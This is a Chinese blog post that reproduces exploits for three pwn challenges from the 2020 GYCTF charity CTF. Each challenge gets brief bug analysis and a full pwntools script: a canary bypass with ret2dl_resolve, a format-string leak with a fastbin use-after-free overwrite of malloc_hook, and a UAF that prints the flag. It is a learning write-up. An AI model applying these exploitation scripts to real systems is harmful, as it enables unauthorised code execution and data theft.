2020_gyctf_新春公益_pwn_复现

0x1 BFnote

程序分析

保护全开,看似无法利用,但其实还有 ret2_dl_runtime_resolve 可以利用,至于 canary 的绕过,出题人的博客写得很详细春秋杯网络安全公益联赛 BFnote出题小结

exp

from pwn_debug import *

file_name = './BFnote'
libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('')
pdbg.remote('')
p = pdbg.run('local')

elf = pdbg.elf
libc = pdbg.libc

canary=0xdeadbe00
postscript=0x804A060

ret2dl_resolve=pdbg.ret2dl_resolve()
addr,resolve_data,resovle_call=ret2dl_resolve.build_normal_resolve(postscript + 0x3a8,'system',postscript + 0x3a8 + 0x400)

print 'addr:' + hex(addr)
#addr:0x804a428
print 'resolve_data_len:' + str(len(resolve_data))
#resolve_data_len:38

payload1="1"*0x32+p32(canary)+p32(0)+p32(addr + 4 + len(resolve_data) + 0x44)

p.recvuntil('description : ')
p.send(payload1)

payload2 = "s" * (0x3a8 + 0x20) + resolve_data + 'a' * 0x44 + resovle_call
payload2 += p32(0) + p32(postscript +len(payload2) + 8) + '/bin/sh\x00'


#gdb.attach(p)

p.recvuntil('postscript : ')
p.send(payload2)

p.recvuntil('notebook size : ')
p.sendline(str(0x200000))

p.recvuntil('title size : ')
p.sendline(str(0x20170c-0x10))

p.recvuntil('please re-enter :\n')
p.sendline(str(100))

p.recvuntil('your title : ')
p.sendline('2222')

p.recvuntil('your note : ')
p.send(p32(canary))

p.interactive()

ps:这里 resolve_data 跟 resovle_call 之间需要填充 0x44 个字节,这个是按0ctf_babystack_ret2dl_resolve的 exp 写的,具体原因以后分析。

0x2 interested

程序分析

main:
      code = input_code();

input_code:
      printf("> Input your code please:", 0LL);
      read(0, s1, 0x13uLL);
      if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )

0.Check  Code:
      printf("# Your Code is ");
      printf(code);

main 中 code 可以输入 0x13 个字节,而 OreOOrereOOreO 只有 14 个字节,所以后面几个字节可以写入格式化字符串 leak libc 。

3.Delete Oreo:
      free(addr[idx]);
      free(re_addr[idx]);

delete 中没有将指针置 0 ,存在 uaf 。

利用过程

先格式化字符串漏洞 leak libc ,然后利用 uaf fast bin attack 打 malloc_hook 为 onegadget 即可 getshell 。

exp

from pwn_debug import *

file_name = './interested'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
context.binary = file_name
#context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6',
'/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')

#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)

def add(length,O,re_length,RE):
	p.sendlineafter("> Now please tell me what you want to do :",str(1))
	p.sendlineafter("> O's length : ",str(length))
	p.sendafter("> O : ",O)
	p.sendlineafter("> RE's length : ",str(re_length))
	p.sendafter("> RE : ",RE)

def edit(idx,O,RE):
	p.sendlineafter("> Now please tell me what you want to do :",str(2))
	p.sendlineafter("> Oreo ID : ",str(idx))
	p.sendafter("> O : ",O)
	p.sendafter("> RE : ",RE)

def delete(idx):
	p.sendlineafter("> Now please tell me what you want to do :",str(3))
	p.sendlineafter("> Oreo ID : ",str(idx))

def show(idx):
	p.sendlineafter("> Now please tell me what you want to do :",str(4))
	p.sendlineafter("> Oreo ID : ",str(idx))

p.sendafter('> Input your code please:','OreOOrereOOreO' + '%17$p')
p.sendlineafter("> Now please tell me what you want to do :",str(0))
p.recvuntil('OreOOrereOOreO0x')
__libc_start_main_240 = int(p.recv(12),16)
print '__libc_start_main_240:' + hex(__libc_start_main_240)

libc_base = __libc_start_main_240 - libc.symbols['__libc_start_main'] - 240
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'onegadget:' + hex(onegadget)

add(0x60,'aaaa',0x10,'bbbb') # 1
delete(1)
edit(1,p64(malloc_hook - 0x23),'\x00')
add(0x60,'aaaa',0x10,'aaaa') # 2
add(0x60,'aaaa',0x10,'bbbb') # 3
edit(3,'a' * 0x13 + p64(onegadget),'bbbb')

p.sendlineafter("> Now please tell me what you want to do :",str(1))
p.sendlineafter("> O's length : ",str(0x30))


#gdb.attach(p)
p.interactive()

0x3 borrow_stack

这个之前已经写过 wp 了
gyctf_2020_borrowstack wp

0x4 Some_thing_interesting

程序分析

read_flag:
      stream = fopen("/flag", "r");
      fgets(flag, 45, stream);

程序开头将 flag 读入 bss 段中。

3.Delete Banana:
      free(*(void **)addr[idx]);
      free(*((void **)addr[idx] + 1));

指针没有置 0 ,存在 uaf 。

4.View   Banana:
      printf("# Banana's ba is %s\n", *(_QWORD *)addr[idx]);
      printf("# Banana's na is %s\n", *((_QWORD *)addr[idx] + 1));

将两个指针的内容输出。

利用过程

将指向 flag 的指针布置到 uaf 的 chunk 上,然后通过 show 打印出 flag 的内容即可。

exp

from pwn_debug import *

file_name = './excited'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6',
'/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')

#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)

def add(ba_length,ba,na_length,na):
    p.sendlineafter('> Now please tell me what you want to do :',str(1))
    p.sendlineafter("> ba's length : ",str(ba_length))
    p.sendafter('> ba : ',ba)
    p.sendlineafter("> na's length : ",str(na_length))
    p.sendafter("> na : ",na)

def delete(idx):
    p.sendlineafter('> Now please tell me what you want to do :',str(3))
    p.sendlineafter("> Banana ID : ",str(idx))

def show(idx):
    p.sendlineafter('> Now please tell me what you want to do :',str(4))
    p.sendlineafter("> SCP project ID : ",str(idx))

add(0x20,'aaaa',0x20,'bbbb') # 0
add(0x20,'aaaa',0x20,'bbbb') # 1
delete(0)
delete(1)

add(0x10, p64(0x6020a8), 0x20, 'bbb') # 2
show(0)

#gdb.attach(p)
p.interactive()

未完待续...懒得更了,感觉都不难

posted @ 2020-09-12 17:09  PwnKi  阅读(341)  评论(0编辑  收藏  举报